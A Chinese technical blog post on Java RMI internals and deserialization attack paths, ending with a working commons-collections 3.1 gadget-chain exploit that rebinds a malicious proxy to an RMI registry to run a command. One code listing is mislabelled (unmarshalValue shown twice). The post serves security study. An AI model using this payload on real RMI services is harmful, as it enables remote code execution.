0x00 前言
在上一篇文章 “关于Java中RMI的个人拙见“中,粗略的介绍了一下RMI的原理,并在最后给出了一个使用的例子,但没有深入的分析,所以看完后,并不知道哪里可以进行漏洞上的利用。因此,本文中,懒狗将从代码上进行一下RMI原理的补充,并最后基于此来学习几种RMI的利用方法。
本篇包含以下元素:
- RMI代码的调试
- RMI的利用
本来是打算一步步的调试并且用wireshark进行抓包分析的,但实际上,不需要这么复杂,我们只要大概知道逻辑,再结合部分代码,即可搞清楚攻击方式。如果你还是不清楚,可以看参考文章中的调试过程。
因为Java不同的版本对不同的版本进行了一些安全性的设置,所以我们在前期的代码分析都是用的没什么限制的JDK 1.7.0,一直到后面讲绕过才会用上有安全限制性的代码。
0x01 RMI过程与代码分析
关于服务端和注册中心的一点补充
在上一篇文章中,我们是将注册中心的代码和服务端写在一起,代码如下:
Registry myRegistry = LocateRegistry.createRegistry(1099);
//向注册中心中注册Stub,第一个参数为名字,要求客户端服务端相同
myRegistry.rebind("myRMI", myRemote);
但其实我们也可以现在另外一台机器,或者另一个类中创建注册中心,将注册中心和服务端代码分开,代码如下:
LocateRegistry.createRegistry(1099);
//注册中心还是用代码创建,但是是在另外一个类中(貌似要写一个死循环)
然后是服务端:
Registry myRegistry = LocateRegistry.getRegistry("localhost", 1099);
myRegistry.rebind("myRMI", myRemote);
可以看到和之前客户端的代码差不多,只是把客户端中的lookup
方法换成了rebind
。
如果你懒得分开,但是还是想让服务端远程获取注册中心的话,可以这样写:
LocateRegistry.getRegistry("localhost", 1099);
Registry myRegistry = LocateRegistry.getRegistry("localhost", 1099);
myRegistry.rebind("myRMI", myRemote);
注册中心
使用LocateRegistry.createRegistry(1099);
创建注册中心时,返回值是一个RegistryImpl类,其ref中有用来处理客户端和服务端请求的Skel,同时会开启一个线程进行监听端口,并使用Skel处理请求。
在我们服务端执行完rebind或者bind后(myRegistry.rebind("myRMI", myRemote);
),这个类的哈希表就会有值:
服务端
public class myServer {
public static void main(String[] args) throws RemoteException, MalformedURLException {
RemoteInterface myRemote = new RemoteImpl();
LocateRegistry.createRegistry(1099);//创建注册中心
Registry myRegistry = LocateRegistry.getRegistry("localhost", 1099);
myRegistry.rebind("myRMI", myRemote);
}
}
RemoteInterface myRemote = new RemoteImpl();
在上一文中已经说过了,如果直接继承了UnicastRemoteObject时,会直接使用exportObject方法,导出一个远程对象服务(Stub),即上文图中的RemoteImpl
(这是我自己取得接口实现类名字,你远程接口实现类写了别的名字,那就是别的):
LocateRegistry.getRegistry("localhost", 1099);
返回的一个RegistryImpl_Stub类, 如下:
myRegistry.rebind("myRMI", myRemote);
执行rebind方法时,如果注册中心是像之前在服务端使用createRegistry创建的,获得的会是RegistryImpl类,所以会直接调用RegisterImpl的bind方法,会直接(先check一下杂七杂八的)在bindings list中添加键值:
如果是像这里一样,在别的地方先创建注册中心,再到这里getRegistry的话,得到是RegistryImpl_Stub类,它的rebind代码如下:
会先将我们的参数序列化,然后调用invoke,最后传给注册中心的RegistryImpl_Skel#dispatch来处理,这在后文会给出代码。
客户端
public class myClient {
public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException {
Registry myRegistry = LocateRegistry.getRegistry("localhost", 1099);
RemoteInterface myRemote = (RemoteInterface) myRegistry.lookup("myRMI");
String result = myRemote.sayHello("chenlvtang");
System.out.println(result);
}
}
客户端同样也是通过getRegistry获取到一个RegistryImpl_Stub类,在调用lookup的时候,可想而知,应该和rebind差不多,因为这里和后面的代码分析挺重合,这里就先不放了。lookup会将我们之前在服务端绑定的Stub返回,里面包含了一些用于通信的重要信息,比如服务端的IP之类的,然后当我们调用方法时,就会通过这个Stub来与服务端通信。
服务端和客户端的通信
上面只讲到了服务端和客户端与注册中心的通信,还并没有涉及到服务端和客户端之间的通信。服务端和客户端的通信,发生在客户端调用远程对象的方法时。简要的讲,客户端首先会利用UnicastRef#marshalValue
先将参数序列化:
protected static Object unmarshalValue(Class<?> var0, ObjectInput var1) throws IOException, ClassNotFoundException {
if (var0.isPrimitive()) {
if (var0 == Integer.TYPE) {
return var1.readInt();
} else if (var0 == Boolean.TYPE) {
return var1.readBoolean();
} else if (var0 == Byte.TYPE) {
return var1.readByte();
} else if (var0 == Character.TYPE) {
return var1.readChar();
} else if (var0 == Short.TYPE) {
return var1.readShort();
} else if (var0 == Long.TYPE) {
return var1.readLong();
} else if (var0 == Float.TYPE) {
return var1.readFloat();
} else if (var0 == Double.TYPE) {
return var1.readDouble();
} else {
throw new Error("Unrecognized primitive type: " + var0);
}
} else {
return var1.readObject();
}
}
服务端接收到序列化的参数时,会在UnicastServerRef#dispatch
开始处理。首先会调用UnicastRef#unmarshalValue
进行反序列化,代码如下:
protected static Object unmarshalValue(Class<?> var0, ObjectInput var1) throws IOException, ClassNotFoundException {
if (var0.isPrimitive()) {
if (var0 == Integer.TYPE) {
return var1.readInt();
} else if (var0 == Boolean.TYPE) {
return var1.readBoolean();
} else if (var0 == Byte.TYPE) {
return var1.readByte();
} else if (var0 == Character.TYPE) {
return var1.readChar();
} else if (var0 == Short.TYPE) {
return var1.readShort();
} else if (var0 == Long.TYPE) {
return var1.readLong();
} else if (var0 == Float.TYPE) {
return var1.readFloat();
} else if (var0 == Double.TYPE) {
return var1.readDouble();
} else {
throw new Error("Unrecognized primitive type: " + var0);
}
} else {
return var1.readObject();
}
}
然后通过invoke调用服务端上的远程对象方法,并把返回结果序列化后,就传回客户端。客户端在收到结果后,将同样调用UnicastRef#unmarshalValue
进行反序列化。
小结
至此,RMI的过程就分析结束了,可以看到,RMI进行了很多的序列化和反序列化的处理,而这也将是我们利用RMI进行攻击的基点,下面就让我们在后文来看一看其他的一些细节,并了解如何进行漏洞的利用。
0x02 RegistryImpl_Skel#dispatch
上文说到,在服务端(注册中心另外写的情况)和客户端的rebind或者lookup都会发给RegistryImpl_Skel#dispatch
来处理,所以我们现在就重点来分析一下这个方法。
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != 4905912898345647071L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
RegistryImpl var6 = (RegistryImpl)var1;
String var7;
Remote var8;
ObjectInput var10;
ObjectInput var11;
switch(var3) {
case 0:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var94) {
throw new UnmarshalException("error unmarshalling arguments", var94);
} catch (ClassNotFoundException var95) {
throw new UnmarshalException("error unmarshalling arguments", var95);
} finally {
var2.releaseInputStream();
}
var6.bind(var7, var8);
try {
var2.getResultStream(true);
break;
} catch (IOException var93) {
throw new MarshalException("error marshalling return", var93);
}
case 1:
var2.releaseInputStream();
String[] var97 = var6.list();
try {
ObjectOutput var98 = var2.getResultStream(true);
var98.writeObject(var97);
break;
} catch (IOException var92) {
throw new MarshalException("error marshalling return", var92);
}
case 2:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var89) {
throw new UnmarshalException("error unmarshalling arguments", var89);
} catch (ClassNotFoundException var90) {
throw new UnmarshalException("error unmarshalling arguments", var90);
} finally {
var2.releaseInputStream();
}
var8 = var6.lookup(var7);
try {
ObjectOutput var9 = var2.getResultStream(true);
var9.writeObject(var8);
break;
} catch (IOException var88) {
throw new MarshalException("error marshalling return", var88);
}
case 3:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var85) {
throw new UnmarshalException("error unmarshalling arguments", var85);
} catch (ClassNotFoundException var86) {
throw new UnmarshalException("error unmarshalling arguments", var86);
} finally {
var2.releaseInputStream();
}
var6.rebind(var7, var8);
try {
var2.getResultStream(true);
break;
} catch (IOException var84) {
throw new MarshalException("error marshalling return", var84);
}
case 4:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var81) {
throw new UnmarshalException("error unmarshalling arguments", var81);
} catch (ClassNotFoundException var82) {
throw new UnmarshalException("error unmarshalling arguments", var82);
} finally {
var2.releaseInputStream();
}
var6.unbind(var7);
try {
var2.getResultStream(true);
break;
} catch (IOException var80) {
throw new MarshalException("error marshalling return", var80);
}
default:
throw new UnmarshalException("invalid method number");
}
}
}
可以看到这里用switch列出了0-4五种处理方法,其实这个数字的传递在RegistryImpl_Stub中也有体现:
结合这两处的代码,我们便可以得到各个方法与其对应的数字,如下:
0: bind
1: list
2: lookup
3: rebind
4: unbind
我们还注意到Skel中的方法最后会调用var6的同名方法,其实var6就是一个RegisteryImpl类: RegistryImpl var6 = (RegistryImpl)var1;
,我们在上文讲rebind的时候已经看过了,其他方法也是类似,先检查或者不检查,然后再绑定在哈希表中。
0x03 利用思路的思考
bind、rebind、unbind
结合RegistryImpl_Stub和RegistryImpl_Skel的代码(自己用IDEA本地看),可以发现这三个方法,都是先在Stub中序列化,然后在Skel中进行反序列化,且这三个方法都是用于服务端的。所以,如果存在反序列化漏洞,我们便可以在服务端构造Payload来攻击注册中心。(服务端要使用getRegistry)这里的unbind只有一个参数,而且类型必须为String,这可能会为我们构造Payload带来困难,我们将在后文详细讲解。
list
这个方法可以列出所有可用的远程对象,其代码如下:
//RegistryImpl_Stub#list
public String[] list() throws AccessException, RemoteException {
try {
RemoteCall var1 = super.ref.newCall(this, operations, 1, 4905912898345647071L);
super.ref.invoke(var1);
String[] var2;
try {
ObjectInput var5 = var1.getInputStream();
var2 = (String[])var5.readObject();
} catch (IOException var12) {
throw new UnmarshalException("error unmarshalling return", var12);
} catch (ClassNotFoundException var13) {
throw new UnmarshalException("error unmarshalling return", var13);
} finally {
super.ref.done(var1);
}
return var2;
} catch (RuntimeException var15) {
throw var15;
} catch (RemoteException var16) {
throw var16;
} catch (Exception var17) {
throw new UnexpectedException("undeclared checked exception", var17);
}
}
可以看到,他是没有参数传递的,并且与之前不同的是,它这里是反序列化。我们先接着看Skel,其代码如下:
case 1:
var2.releaseInputStream();
String[] var97 = var6.list();
try {
ObjectOutput var98 = var2.getResultStream(true);
var98.writeObject(var97);
break;
} catch (IOException var92) {
throw new MarshalException("error marshalling return", var92);
}
显然,list方法是在Skel中将查询结果序列化,然后返回给Stub进行反序列化。list一般用于客户端,既然是在Stub中反序列化,所以如果有反序列化漏洞,我们便可以利用list方法来通过注册中心攻击客户端。
lookup
首先我们先看Stub中的代码:
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);
try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var18) {
throw new MarshalException("error marshalling arguments", var18);
}
super.ref.invoke(var2);
Remote var23;
try {
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();
} catch (IOException var15) {
throw new UnmarshalException("error unmarshalling return", var15);
} catch (ClassNotFoundException var16) {
throw new UnmarshalException("error unmarshalling return", var16);
} finally {
super.ref.done(var2);
}
return var23;
} catch (RuntimeException var19) {
throw var19;
} catch (RemoteException var20) {
throw var20;
} catch (NotBoundException var21) {
throw var21;
} catch (Exception var22) {
throw new UnexpectedException("undeclared checked exception", var22);
}
}
然后我们再看Skel中的代码:
case 2:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var89) {
throw new UnmarshalException("error unmarshalling arguments", var89);
} catch (ClassNotFoundException var90) {
throw new UnmarshalException("error unmarshalling arguments", var90);
} finally {
var2.releaseInputStream();
}
var8 = var6.lookup(var7);
try {
ObjectOutput var9 = var2.getResultStream(true);
var9.writeObject(var8);
break;
} catch (IOException var88) {
throw new MarshalException("error marshalling return", var88);
}
可以看到在Stub中是先将我们的参数序列化,然后将返回的结果进行反序列化;而在Skel中是先将Stub传来的序列化参数进行反序列化,查询后,将结果序列化后传给Stub。也就是说,在Stub和Skel中都同时存在反序列化操作,所以我们这里可以通过在客户端调用lookup来攻击注册中心(不过要注意,这里的参数类型也是String),也可以通过修改注册中心返回的结果来实现注册中心攻击客户端。
客户端攻击服务端
上文我们说到,客户端在调用远程方法后,会先将参数序列化,服务端收到后,将会对其进行反序列化,再调用。所以我们在这里就可以利用这一点,想办法把参数序列化内容替换成恶意内容,这也便可以实现客户端攻击服务端。
服务端攻击客户端
同理,服务端会将调用的返回结果先序列化后返回给客户端,客户端会进行反序列化。所以替换服务端的返回结果,便可让服务端攻击客户端。
小结
通过上面的分析,我们得出了以下的攻击方向:
- 服务端攻击客户端
- 客户端攻击服务端
- 注册中心攻击客户端:lookup、list
- 客户端攻击注册中心:lookup
- 服务端攻击注册中心:bind、rebind、unbind
这里需要注意,服务端指的是向注册中心进行bind等操作的端,不一定是受害者搭起的服务端,也就是说,作为攻击者,在能够getRegistry的情况下,就可以本地起一个服务端,进行攻击,只不过我们需要注意的是,因为上述攻击大多具有双向性,所以在你攻击别人的时候,也要小心这是别人设下的蜜罐(即陷阱),可以反向攻击你
0x04 结合CC链进行攻击实例
懒狗在以前分析过一个Java反序列化漏洞的中CC链(Java反序列化之commons-collections-3.1漏洞分析),虽然现在完全不记得,但是我们还是可以借用一下最后写成的payload,来实践一下RMI的攻击。这里准备采用的是服务端攻击注册中心,采用bind方法。
首先创建一个Maven项目,来导入CC3
搭建RMI
代码依旧是使用之前我们RMI的代码(关于Java中RMI的个人拙见)
搭建攻击方服务端
在另一个项目或者另一个包中搭建攻击方服务端,代码如下:
public class hackerServer {
public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
hackerServer hacker = new hackerServer();
Remote payload = (Remote) hacker.test();
Registry myRegistry = LocateRegistry.getRegistry(1099);
myRegistry.rebind("hacker", payload);
}
public Object test() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Class[]{Runtime.class, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
Transformer chain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
// innerMap.put("foo","bar");//不行,key要为value
innerMap.put("value","bar");
Map outerMap = TransformedMap.decorate(innerMap, null, chain);
//反射机制调用AnnotationInvocationHandler类的构造函数
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
//访问权限放开,private之类的也能调用
ctor.setAccessible(true);
//获取AnnotationInvocationHandler类实例
Object instance = ctor.newInstance(Target.class ,outerMap);
Remote payload = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class }, (InvocationHandler) instance));
return payload;
}
}
payload基本上就是我们在之前介绍CC3的Gadget(Java反序列化之commons-collections-3.1漏洞分析),但是这里有点不同的是,bind方法的第二个参数只能是Remote类,所以我们构造的payload也要转换为Remote,即我们代码中的这一句Remote payload = (Remote) hacker.test();
, 但这时候运行会报错,因为AnnotationInvocationHandler类不能被转换为Remote类。上网查询找到一个解决办法是:使用代理类Proxy来封装。
这也就是我们test()方法中 Remote payload = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class }, (InvocationHandler) instance));
的来源。但是具体原因,懒狗在这里还没有深入了解,之后再来看。
发起攻击
首先,受害者服务端(注册中心也在里面)开启,然后我们开启我们的攻击方的服务端,结果如下:
至此,就完成了一次,服务端利用bind方法攻击注册中心的实践。因为这篇文章已经写了很多了,所以关于RMI利用的更高级方法,懒狗将再写一篇文章来学习(绝对不是不想写了)
0x05 参考文章
搞懂RMI、JRMP、JNDI-终结篇 - 先知社区 (aliyun.com)